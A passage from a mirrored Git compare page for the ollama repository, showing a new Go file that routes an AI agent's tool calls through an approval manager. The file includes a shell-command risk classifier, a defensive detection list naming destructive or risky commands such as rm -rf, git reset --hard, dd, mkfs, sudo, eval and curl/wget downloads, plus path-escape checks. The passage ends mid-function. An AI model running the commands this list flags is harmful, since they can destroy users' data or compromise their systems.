mirror of
https://github.com/ollama/ollama.git
synced 2026-09-10 21:19:14 -04:00
Compare commits
72
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4784290c9b | ||
|
|
b839fa49f0 | ||
|
|
93bb382f9a | ||
|
|
8ed7b66d31 | ||
|
|
276afbf3a7 | ||
|
|
2ae9c05fbd | ||
|
|
6aa08b2c94 | ||
|
|
b2bc6c822c | ||
|
|
7703a00ade | ||
|
|
3052b16971 | ||
|
|
9eed9466fb | ||
|
|
a0d99b4a02 | ||
|
|
dd82c333ec | ||
|
|
f8750975c1 | ||
|
|
64d3680ab6 | ||
|
|
4c7d01cd4f | ||
|
|
eacaa79706 | ||
|
|
1e004ef209 | ||
|
|
4a34477557 | ||
|
|
eb76282573 | ||
|
|
c47ad4f228 | ||
|
|
e785d4e8b9 | ||
|
|
2e9b631176 | ||
|
|
087ffc697f | ||
|
|
11f5c77b4b | ||
|
|
e76f830221 | ||
|
|
3b54956946 | ||
|
|
8f882b054a | ||
|
|
e098a6afaa | ||
|
|
183f03d997 | ||
|
|
5e9c48cc40 | ||
|
|
6b389711f0 | ||
|
|
f5a50a7c3f | ||
|
|
5104df202d | ||
|
|
c1ba011f64 | ||
|
|
6d2bbd68e3 | ||
|
|
42467c2431 | ||
|
|
9c04e04e6b | ||
|
|
98b022f4f5 | ||
|
|
d60a21fcaa | ||
|
|
97c93a93b4 | ||
|
|
a058a75099 | ||
|
|
c359d22a08 | ||
|
|
0034967cfd | ||
|
|
66757a973d | ||
|
|
a718ed68a1 | ||
|
|
204f719b77 | ||
|
|
9618a45286 | ||
|
|
ed6a3e6c4e | ||
|
|
280b85f8a4 | ||
|
|
821a45ca6e | ||
|
|
676facf043 | ||
|
|
50184444da | ||
|
|
632bd88937 | ||
|
|
2ba0f9b96f | ||
|
|
5625904153 | ||
|
|
96f82b5ff2 | ||
|
|
9da4d0c6f8 | ||
|
|
edd30d7194 | ||
|
|
f417732279 | ||
|
|
72d18c99af | ||
|
|
02befa963c | ||
|
|
a743721ec8 | ||
|
|
2b54b72207 | ||
|
|
30f206e235 | ||
|
|
13006826f8 | ||
|
|
76eb5a9dc9 | ||
|
|
cb8af634b3 | ||
|
|
66cdf46e7d | ||
|
|
a7c8484bea | ||
|
|
3be6794929 | ||
|
|
444af2a712 |
No files matched your search
@@ -0,0 +1,905 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
type ApprovalDecision string
|
||||
|
||||
const (
|
||||
ApprovalAllowOnce ApprovalDecision = "allow_once"
|
||||
ApprovalAllowSession ApprovalDecision = "allow_session"
|
||||
ApprovalDeny ApprovalDecision = "deny"
|
||||
)
|
||||
|
||||
type ApprovalRisk string
|
||||
|
||||
const (
|
||||
ApprovalRiskLow ApprovalRisk = "low"
|
||||
ApprovalRiskMedium ApprovalRisk = "medium"
|
||||
ApprovalRiskHigh ApprovalRisk = "high"
|
||||
)
|
||||
|
||||
type ApprovalRequest struct {
|
||||
ToolCallID string
|
||||
ToolName string
|
||||
Args map[string]any
|
||||
WorkingDir string
|
||||
ToolApprovalRequired bool
|
||||
Summary string
|
||||
Risk ApprovalRisk
|
||||
Reasons []string
|
||||
}
|
||||
|
||||
type ApprovalResult struct {
|
||||
Decision ApprovalDecision
|
||||
Reason string
|
||||
}
|
||||
|
||||
type ApprovalHandler interface {
|
||||
RequiresApproval(context.Context, Tool, ApprovalRequest) bool
|
||||
Approve(context.Context, ApprovalRequest) (ApprovalResult, error)
|
||||
}
|
||||
|
||||
type ApprovalPrompter interface {
|
||||
PromptApproval(context.Context, ApprovalRequest) (ApprovalResult, error)
|
||||
}
|
||||
|
||||
type ApprovalPolicy interface {
|
||||
EvaluateApproval(context.Context, ApprovalRequest) ApprovalEvaluation
|
||||
}
|
||||
|
||||
type ApprovalEvaluation struct {
|
||||
Decision ApprovalDecision
|
||||
RequirePrompt bool
|
||||
Risk ApprovalRisk
|
||||
Summary string
|
||||
Reasons []string
|
||||
SessionKey string
|
||||
}
|
||||
|
||||
type AutoAllowApproval struct{}
|
||||
|
||||
func (AutoAllowApproval) RequiresApproval(context.Context, Tool, ApprovalRequest) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (AutoAllowApproval) Approve(context.Context, ApprovalRequest) (ApprovalResult, error) {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
type ApprovalManagerOptions struct {
|
||||
Policy ApprovalPolicy
|
||||
Prompter ApprovalPrompter
|
||||
}
|
||||
|
||||
type ApprovalManager struct {
|
||||
policy ApprovalPolicy
|
||||
prompter ApprovalPrompter
|
||||
|
||||
mu *sync.Mutex
|
||||
sessionAllowed map[string]struct{}
|
||||
}
|
||||
|
||||
func NewApprovalManager(opts ApprovalManagerOptions) *ApprovalManager {
|
||||
policy := opts.Policy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return &ApprovalManager{
|
||||
policy: policy,
|
||||
prompter: opts.Prompter,
|
||||
mu: &sync.Mutex{},
|
||||
sessionAllowed: make(map[string]struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) WithPrompter(prompter ApprovalPrompter) *ApprovalManager {
|
||||
if m == nil {
|
||||
return NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
}
|
||||
return &ApprovalManager{
|
||||
policy: m.policy,
|
||||
prompter: prompter,
|
||||
mu: m.mu,
|
||||
sessionAllowed: m.sessionAllowed,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) RequiresApproval(ctx context.Context, tool Tool, req ApprovalRequest) bool {
|
||||
if m == nil {
|
||||
return false
|
||||
}
|
||||
req.ToolApprovalRequired = req.ToolApprovalRequired || ToolRequiresApproval(tool, req.Args)
|
||||
evaluation := applyToolApprovalRequirement(req, m.evaluate(ctx, req))
|
||||
if evaluation.Decision == ApprovalDeny {
|
||||
return true
|
||||
}
|
||||
if evaluation.RequirePrompt {
|
||||
return !m.sessionAllowedFor(evaluation.SessionKey)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) Approve(ctx context.Context, req ApprovalRequest) (ApprovalResult, error) {
|
||||
if m == nil {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
evaluation := applyToolApprovalRequirement(req, m.evaluate(ctx, req))
|
||||
req = approvalRequestWithEvaluation(req, evaluation)
|
||||
|
||||
if evaluation.Decision == ApprovalDeny {
|
||||
reason := strings.Join(evaluation.Reasons, "; ")
|
||||
if reason == "" {
|
||||
reason = "Tool execution denied."
|
||||
}
|
||||
return ApprovalResult{Decision: ApprovalDeny, Reason: reason}, nil
|
||||
}
|
||||
|
||||
if !evaluation.RequirePrompt || m.sessionAllowedFor(evaluation.SessionKey) {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
if m.prompter == nil {
|
||||
return ApprovalResult{
|
||||
Decision: ApprovalDeny,
|
||||
Reason: "Tool execution requires approval, but no approval prompter is available. Re-run with --auto-approve-tools or --yolo to allow tool execution.",
|
||||
}, nil
|
||||
}
|
||||
|
||||
result, err := m.prompter.PromptApproval(ctx, req)
|
||||
if err != nil {
|
||||
return ApprovalResult{}, err
|
||||
}
|
||||
if result.Decision == "" {
|
||||
result.Decision = ApprovalDeny
|
||||
}
|
||||
if result.Decision == ApprovalAllowSession {
|
||||
m.allowSession(evaluation.SessionKey)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) evaluate(ctx context.Context, req ApprovalRequest) ApprovalEvaluation {
|
||||
if m == nil || m.policy == nil {
|
||||
return DefaultApprovalPolicy{}.EvaluateApproval(ctx, req)
|
||||
}
|
||||
evaluation := m.policy.EvaluateApproval(ctx, req)
|
||||
if evaluation.Risk == "" {
|
||||
evaluation.Risk = ApprovalRiskLow
|
||||
}
|
||||
if evaluation.SessionKey == "" {
|
||||
evaluation.SessionKey = approvalSessionKey(req)
|
||||
}
|
||||
return evaluation
|
||||
}
|
||||
|
||||
func applyToolApprovalRequirement(req ApprovalRequest, evaluation ApprovalEvaluation) ApprovalEvaluation {
|
||||
if !req.ToolApprovalRequired || evaluation.Decision == ApprovalDeny {
|
||||
return evaluation
|
||||
}
|
||||
evaluation.RequirePrompt = true
|
||||
if evaluation.Summary == "" {
|
||||
evaluation.Summary = fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName))
|
||||
}
|
||||
if len(evaluation.Reasons) == 0 {
|
||||
evaluation.Reasons = []string{"tool requires approval"}
|
||||
}
|
||||
return evaluation
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) sessionAllowedFor(key string) bool {
|
||||
if m == nil || key == "" {
|
||||
return false
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
_, ok := m.sessionAllowed[key]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) allowSession(key string) {
|
||||
if m == nil || key == "" {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.sessionAllowed[key] = struct{}{}
|
||||
}
|
||||
|
||||
func approvalRequestWithEvaluation(req ApprovalRequest, evaluation ApprovalEvaluation) ApprovalRequest {
|
||||
req.Summary = evaluation.Summary
|
||||
req.Risk = evaluation.Risk
|
||||
req.Reasons = slices.Clone(evaluation.Reasons)
|
||||
return req
|
||||
}
|
||||
|
||||
func approvalSessionKey(req ApprovalRequest) string {
|
||||
if IsShellToolName(req.ToolName) {
|
||||
if command, ok := stringApprovalArg(req.Args, "command"); ok {
|
||||
return req.ToolName + ":" + command
|
||||
}
|
||||
}
|
||||
switch req.ToolName {
|
||||
case "edit":
|
||||
if path, ok := stringApprovalArg(req.Args, "path"); ok {
|
||||
return "edit:" + path
|
||||
}
|
||||
case "web_search":
|
||||
if query, ok := stringApprovalArg(req.Args, "query"); ok {
|
||||
return "web_search:" + query
|
||||
}
|
||||
case "web_fetch":
|
||||
if targetURL, ok := stringApprovalArg(req.Args, "url"); ok {
|
||||
return "web_fetch:" + targetURL
|
||||
}
|
||||
}
|
||||
return req.ToolName + ":" + stableApprovalArgs(req.Args)
|
||||
}
|
||||
|
||||
type DefaultApprovalPolicy struct{}
|
||||
|
||||
func (DefaultApprovalPolicy) EvaluateApproval(_ context.Context, req ApprovalRequest) ApprovalEvaluation {
|
||||
switch req.ToolName {
|
||||
case "read":
|
||||
if path, ok := stringApprovalArg(req.Args, "path"); ok {
|
||||
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
|
||||
return denyApproval(req.ToolName, ApprovalRiskHigh, reason)
|
||||
}
|
||||
}
|
||||
return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow, Summary: fmt.Sprintf("%s can run without approval", ToolDisplayName(req.ToolName))}
|
||||
case "web_search", "web_fetch":
|
||||
return evaluateWebApproval(req)
|
||||
case "edit":
|
||||
return evaluateEditApproval(req)
|
||||
case "bash", "powershell":
|
||||
return evaluateShellApproval(req)
|
||||
default:
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName)),
|
||||
Reasons: []string{"unknown tool effects"},
|
||||
SessionKey: approvalSessionKey(req),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func evaluateEditApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
path, ok := stringApprovalArg(req.Args, "path")
|
||||
if !ok {
|
||||
return denyApproval("edit", ApprovalRiskHigh, "missing path argument")
|
||||
}
|
||||
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
|
||||
return denyApproval("edit", ApprovalRiskHigh, reason)
|
||||
}
|
||||
|
||||
reasons := []string{"writes to a file"}
|
||||
if replaceAll, _ := req.Args["replace_all"].(bool); replaceAll {
|
||||
reasons = append(reasons, "may replace multiple matches")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Edit wants to modify %s", sanitizeApprovalDisplay(path)),
|
||||
Reasons: reasons,
|
||||
SessionKey: "edit:" + path,
|
||||
}
|
||||
}
|
||||
|
||||
func evaluateWebApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
switch req.ToolName {
|
||||
case "web_search":
|
||||
query, ok := stringApprovalArg(req.Args, "query")
|
||||
if !ok {
|
||||
return denyApproval("web_search", ApprovalRiskHigh, "missing query argument")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Web Search wants to search for %q", sanitizeApprovalDisplay(query)),
|
||||
Reasons: []string{"searches the web"},
|
||||
SessionKey: "web_search:" + query,
|
||||
}
|
||||
case "web_fetch":
|
||||
targetURL, ok := stringApprovalArg(req.Args, "url")
|
||||
if !ok {
|
||||
return denyApproval("web_fetch", ApprovalRiskHigh, "missing url argument")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Web Fetch wants to fetch %s", sanitizeApprovalDisplay(targetURL)),
|
||||
Reasons: []string{"fetches web content"},
|
||||
SessionKey: "web_fetch:" + targetURL,
|
||||
}
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName)),
|
||||
Reasons: []string{"accesses the web"},
|
||||
SessionKey: approvalSessionKey(req),
|
||||
}
|
||||
}
|
||||
|
||||
func sanitizeApprovalDisplay(value string) string {
|
||||
value = approvalANSIEscapePattern.ReplaceAllString(value, "")
|
||||
value = strings.Map(func(r rune) rune {
|
||||
switch r {
|
||||
case '\n', '\r', '\t':
|
||||
return ' '
|
||||
}
|
||||
if unicode.IsControl(r) {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, value)
|
||||
value = strings.Join(strings.Fields(value), " ")
|
||||
if value == "" {
|
||||
return "(empty)"
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func evaluateShellApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
command, ok := stringApprovalArg(req.Args, "command")
|
||||
if !ok || strings.TrimSpace(command) == "" {
|
||||
return denyApproval(req.ToolName, ApprovalRiskHigh, "missing command argument")
|
||||
}
|
||||
|
||||
risk, reasons := classifyBashCommand(command)
|
||||
if len(reasons) == 0 {
|
||||
reasons = append(reasons, "runs shell commands")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: risk,
|
||||
Summary: fmt.Sprintf("%s wants to run a command", ToolDisplayName(req.ToolName)),
|
||||
Reasons: reasons,
|
||||
SessionKey: req.ToolName + ":" + command,
|
||||
}
|
||||
}
|
||||
|
||||
func denyApproval(toolName string, risk ApprovalRisk, reason string) ApprovalEvaluation {
|
||||
return ApprovalEvaluation{
|
||||
Decision: ApprovalDeny,
|
||||
Risk: risk,
|
||||
Summary: fmt.Sprintf("%s cannot run", ToolDisplayName(toolName)),
|
||||
Reasons: []string{reason},
|
||||
SessionKey: approvalSessionKey(ApprovalRequest{ToolName: toolName}),
|
||||
}
|
||||
}
|
||||
|
||||
// Shell approval is static analysis of model-generated commands, not a sandbox.
|
||||
// Globs, aliases, environment, and runtime shell state are intentionally out of scope.
|
||||
func classifyBashCommand(command string) (ApprovalRisk, []string) {
|
||||
classifier := bashClassifier{risk: ApprovalRiskMedium}
|
||||
|
||||
tokens, scannerReasons, scannerHigh := scanBashTokens(command)
|
||||
for _, reason := range scannerReasons {
|
||||
classifier.addReason(reason)
|
||||
}
|
||||
if scannerHigh {
|
||||
classifier.high = true
|
||||
}
|
||||
|
||||
if bashFunctionDeclPattern.MatchString(command) {
|
||||
classifier.addReason("defines shell functions")
|
||||
classifier.high = true
|
||||
}
|
||||
if bashSubshellPattern.MatchString(command) {
|
||||
classifier.addReason("uses a subshell")
|
||||
classifier.high = true
|
||||
}
|
||||
|
||||
for _, token := range tokens {
|
||||
if token.kind != bashTokenOperator {
|
||||
continue
|
||||
}
|
||||
switch token.value {
|
||||
case "&&", "||", "|":
|
||||
classifier.addReason("uses shell control operator " + token.value)
|
||||
classifier.high = true
|
||||
case ";", "\n":
|
||||
classifier.addReason("uses shell statement separator")
|
||||
classifier.high = true
|
||||
case "&":
|
||||
classifier.addReason("runs a command in the background")
|
||||
classifier.high = true
|
||||
case "$(", "`":
|
||||
classifier.addReason("uses command substitution")
|
||||
classifier.high = true
|
||||
case "<(", ">(":
|
||||
classifier.addReason("uses process substitution")
|
||||
classifier.high = true
|
||||
case ">", ">>", ">|", ">&", "&>":
|
||||
classifier.addReason("writes or redirects files")
|
||||
classifier.high = true
|
||||
case "<", "<<", "<&":
|
||||
classifier.addReason("uses shell redirection")
|
||||
}
|
||||
}
|
||||
|
||||
for _, args := range bashCommandCalls(tokens) {
|
||||
classifier.addCall(args)
|
||||
}
|
||||
|
||||
if classifier.high {
|
||||
classifier.risk = ApprovalRiskHigh
|
||||
}
|
||||
return classifier.risk, classifier.reasons
|
||||
}
|
||||
|
||||
type bashClassifier struct {
|
||||
risk ApprovalRisk
|
||||
high bool
|
||||
reasons []string
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addReason(reason string) {
|
||||
if reason == "" || slices.Contains(c.reasons, reason) {
|
||||
return
|
||||
}
|
||||
c.reasons = append(c.reasons, reason)
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addCall(args []string) {
|
||||
args = shellCommandArgs(args)
|
||||
if len(args) == 0 {
|
||||
return
|
||||
}
|
||||
if isDynamicCommandName(args[0]) {
|
||||
c.addReason("uses dynamic command name")
|
||||
c.high = true
|
||||
}
|
||||
name := shellCommandBase(args[0])
|
||||
switch name {
|
||||
case "cd":
|
||||
c.addReason("changes directory")
|
||||
c.high = true
|
||||
case "eval":
|
||||
c.addReason("evaluates shell code")
|
||||
c.high = true
|
||||
case "source", ".":
|
||||
c.addReason("sources shell code")
|
||||
c.high = true
|
||||
case "exec":
|
||||
c.addReason("replaces the shell process")
|
||||
c.high = true
|
||||
case "sudo":
|
||||
c.addReason("runs with elevated privileges")
|
||||
c.high = true
|
||||
case "rm":
|
||||
if hasAnyFlag(args[1:], "r", "R", "recursive") || hasAnyFlag(args[1:], "f", "force") {
|
||||
c.addReason("removes files destructively")
|
||||
c.high = true
|
||||
}
|
||||
case "git":
|
||||
if isGitResetHard(args) {
|
||||
c.addReason("runs destructive git reset")
|
||||
c.high = true
|
||||
}
|
||||
if isGitCleanDestructive(args) {
|
||||
c.addReason("runs destructive git clean")
|
||||
c.high = true
|
||||
}
|
||||
case "find":
|
||||
c.addFindReasons(args)
|
||||
case "chmod", "chown":
|
||||
if hasAnyFlag(args[1:], "R", "recursive") {
|
||||
c.addReason("changes permissions or ownership recursively")
|
||||
c.high = true
|
||||
}
|
||||
case "dd", "diskutil":
|
||||
c.addReason("can write directly to disks")
|
||||
c.high = true
|
||||
case "mkfs", "newfs":
|
||||
c.addReason("formats filesystems")
|
||||
c.high = true
|
||||
case "curl", "wget":
|
||||
c.addReason("downloads remote content")
|
||||
case "sh", "bash", "zsh":
|
||||
if len(args) > 1 {
|
||||
c.addReason("runs a shell interpreter")
|
||||
c.high = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addFindReasons(args []string) {
|
||||
for i := 1; i < len(args); i++ {
|
||||
switch args[i] {
|
||||
case "-delete":
|
||||
c.addReason("deletes files via find")
|
||||
c.high = true
|
||||
case "-exec", "-execdir":
|
||||
c.addReason("executes commands via find")
|
||||
c.high = true
|
||||
end := i + 1
|
||||
for end < len(args) && args[end] != ";" && args[end] != `\;` && args[end] != "+" {
|
||||
end++
|
||||
}
|
||||
if end > i+1 {
|
||||
c.addCall(args[i+1 : end])
|
||||
}
|
||||
i = end
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func hasAnyFlag(args []string, flags ...string) bool {
|
||||
for _, arg := range args {
|
||||
if arg == "--" {
|
||||
return false
|
||||
}
|
||||
if !strings.HasPrefix(arg, "-") {
|
||||
continue
|
||||
}
|
||||
for _, flag := range flags {
|
||||
short := len(flag) == 1
|
||||
if short && strings.HasPrefix(arg, "-") && !strings.HasPrefix(arg, "--") && strings.Contains(arg[1:], flag) {
|
||||
return true
|
||||
}
|
||||
if arg == "--"+flag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isGitResetHard(args []string) bool {
|
||||
subcommand := gitSubcommandArgs(args)
|
||||
return len(subcommand) >= 2 && subcommand[0] == "reset" && slices.Contains(subcommand[1:], "--hard")
|
||||
}
|
||||
|
||||
func isGitCleanDestructive(args []string) bool {
|
||||
subcommand := gitSubcommandArgs(args)
|
||||
if len(subcommand) < 1 || subcommand[0] != "clean" {
|
||||
return false
|
||||
}
|
||||
return hasAnyFlag(subcommand[1:], "f", "force") && (hasAnyFlag(subcommand[1:], "d") || hasAnyFlag(subcommand[1:], "x", "X"))
|
||||
}
|
||||
|
||||
func gitSubcommandArgs(args []string) []string {
|
||||
for i := 1; i < len(args); i++ {
|
||||
arg := args[i]
|
||||
if arg == "--" {
|
||||
return args[i+1:]
|
||||
}
|
||||
switch {
|
||||
case arg == "-C", arg == "-c", arg == "--git-dir", arg == "--work-tree":
|
||||
i++
|
||||
continue
|
||||
case strings.HasPrefix(arg, "-C"), strings.HasPrefix(arg, "-c"):
|
||||
continue
|
||||
case strings.HasPrefix(arg, "--git-dir="), strings.HasPrefix(arg, "--work-tree="):
|
||||
continue
|
||||
case strings.HasPrefix(arg, "-"):
|
||||
continue
|
||||
default:
|
||||
return args[i:]
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type bashTokenKind int
|
||||
|
||||
const (
|
||||
bashTokenWord bashTokenKind = iota
|
||||
bashTokenOperator
|
||||
)
|
||||
|
||||
type bashToken struct {
|
||||
kind bashTokenKind
|
||||
value string
|
||||
}
|
||||
|
||||
var (
|
||||
approvalANSIEscapePattern = regexp.MustCompile(`\x1b(?:\[[0-?]*[ -/]*[@-~]|\][^\x07]*(?:\x07|\x1b\\))`)
|
||||
bashFunctionDeclPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])(?:function[[:space:]]+)?[A-Za-z_][A-Za-z0-9_]*[[:space:]]*(?:\(\)[[:space:]]*)?\{`)
|
||||
bashSubshellPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])\(`)
|
||||
)
|
||||
|
||||
func scanBashTokens(command string) ([]bashToken, []string, bool) {
|
||||
var tokens []bashToken
|
||||
var reasons []string
|
||||
var word strings.Builder
|
||||
var quote byte
|
||||
escaped := false
|
||||
high := false
|
||||
|
||||
flushWord := func() {
|
||||
if word.Len() == 0 {
|
||||
return
|
||||
}
|
||||
tokens = append(tokens, bashToken{kind: bashTokenWord, value: word.String()})
|
||||
word.Reset()
|
||||
}
|
||||
addOperator := func(op string) {
|
||||
tokens = append(tokens, bashToken{kind: bashTokenOperator, value: op})
|
||||
}
|
||||
|
||||
for i := 0; i < len(command); i++ {
|
||||
ch := command[i]
|
||||
if escaped {
|
||||
word.WriteByte(ch)
|
||||
escaped = false
|
||||
continue
|
||||
}
|
||||
if ch == '\\' && quote != '\'' {
|
||||
escaped = true
|
||||
continue
|
||||
}
|
||||
|
||||
if quote == '\'' {
|
||||
if ch == '\'' {
|
||||
quote = 0
|
||||
} else {
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if quote == '"' {
|
||||
switch {
|
||||
case ch == '"':
|
||||
quote = 0
|
||||
case ch == '`':
|
||||
addOperator("`")
|
||||
word.WriteByte(ch)
|
||||
case ch == '$' && i+1 < len(command) && command[i+1] == '(':
|
||||
addOperator("$(")
|
||||
word.WriteString("$(")
|
||||
i++
|
||||
default:
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if ch == '\'' || ch == '"' {
|
||||
quote = ch
|
||||
continue
|
||||
}
|
||||
if ch == '`' {
|
||||
addOperator("`")
|
||||
word.WriteByte(ch)
|
||||
continue
|
||||
}
|
||||
if ch == '$' && i+1 < len(command) && command[i+1] == '(' {
|
||||
addOperator("$(")
|
||||
word.WriteString("$(")
|
||||
i++
|
||||
continue
|
||||
}
|
||||
if (ch == '<' || ch == '>') && i+1 < len(command) && command[i+1] == '(' {
|
||||
flushWord()
|
||||
addOperator(string([]byte{ch, '('}))
|
||||
i++
|
||||
continue
|
||||
}
|
||||
if ch == '\n' {
|
||||
flushWord()
|
||||
addOperator("\n")
|
||||
continue
|
||||
}
|
||||
if ch == ' ' || ch == '\t' || ch == '\r' {
|
||||
flushWord()
|
||||
continue
|
||||
}
|
||||
|
||||
switch ch {
|
||||
case '&':
|
||||
flushWord()
|
||||
switch {
|
||||
case i+1 < len(command) && command[i+1] == '&':
|
||||
addOperator("&&")
|
||||
i++
|
||||
case i+1 < len(command) && command[i+1] == '>':
|
||||
addOperator("&>")
|
||||
i++
|
||||
default:
|
||||
addOperator("&")
|
||||
}
|
||||
case '|':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '|' {
|
||||
addOperator("||")
|
||||
i++
|
||||
} else {
|
||||
addOperator("|")
|
||||
}
|
||||
case ';':
|
||||
flushWord()
|
||||
addOperator(";")
|
||||
case '<':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '<' {
|
||||
addOperator("<<")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '&' {
|
||||
addOperator("<&")
|
||||
i++
|
||||
} else {
|
||||
addOperator("<")
|
||||
}
|
||||
case '>':
|
||||
flushWord()
|
||||
if i+1 < len(command) && command[i+1] == '>' {
|
||||
addOperator(">>")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '|' {
|
||||
addOperator(">|")
|
||||
i++
|
||||
} else if i+1 < len(command) && command[i+1] == '&' {
|
||||
addOperator(">&")
|
||||
i++
|
||||
} else {
|
||||
addOperator(">")
|
||||
}
|
||||
default:
|
||||
word.WriteByte(ch)
|
||||
}
|
||||
}
|
||||
if escaped || quote != 0 {
|
||||
reasons = append(reasons, "could not parse shell command")
|
||||
high = true
|
||||
}
|
||||
flushWord()
|
||||
return tokens, reasons, high
|
||||
}
|
||||
|
||||
func bashCommandCalls(tokens []bashToken) [][]string {
|
||||
var calls [][]string
|
||||
var current []string
|
||||
flush := func() {
|
||||
if len(current) == 0 {
|
||||
return
|
||||
}
|
||||
calls = append(calls, current)
|
||||
current = nil
|
||||
}
|
||||
for _, token := range tokens {
|
||||
if token.kind == bashTokenWord {
|
||||
current = append(current, token.value)
|
||||
continue
|
||||
}
|
||||
if isBashCommandBoundary(token.value) {
|
||||
flush()
|
||||
}
|
||||
}
|
||||
flush()
|
||||
return calls
|
||||
}
|
||||
|
||||
func isBashCommandBoundary(op string) bool {
|
||||
switch op {
|
||||
case "&&", "||", "|", ";", "&", "\n":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func shellCommandArgs(args []string) []string {
|
||||
for len(args) > 0 && isShellAssignment(args[0]) {
|
||||
args = args[1:]
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func isShellAssignment(word string) bool {
|
||||
name, _, ok := strings.Cut(word, "=")
|
||||
if !ok || name == "" {
|
||||
return false
|
||||
}
|
||||
for i := range len(name) {
|
||||
ch := name[i]
|
||||
if i == 0 {
|
||||
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || ch == '_') {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || (ch >= '0' && ch <= '9') || ch == '_') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func isDynamicCommandName(name string) bool {
|
||||
return strings.HasPrefix(name, "$") || strings.HasPrefix(name, "`") || strings.Contains(name, "$(") || strings.Contains(name, "`")
|
||||
}
|
||||
|
||||
func shellCommandBase(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if i := strings.LastIndexAny(name, `/\`); i >= 0 && i+1 < len(name) {
|
||||
name = name[i+1:]
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func approvalPathEscapeReason(workingDir, path string) string {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return ""
|
||||
}
|
||||
if filepath.IsAbs(path) {
|
||||
return "absolute paths are not allowed"
|
||||
}
|
||||
|
||||
base := workingDir
|
||||
if base == "" {
|
||||
var err error
|
||||
base, err = os.Getwd()
|
||||
if err != nil {
|
||||
return "could not determine working directory"
|
||||
}
|
||||
}
|
||||
|
||||
base, err := canonicalApprovalPath(base)
|
||||
if err != nil {
|
||||
return "could not resolve working directory"
|
||||
}
|
||||
resolved := filepath.Clean(filepath.Join(base, path))
|
||||
resolvedForCheck := resolved
|
||||
if canonical, err := canonicalApprovalPath(resolved); err == nil {
|
||||
resolvedForCheck = canonical
|
||||
}
|
||||
rel, err := filepath.Rel(base, resolvedForCheck)
|
||||
if err != nil {
|
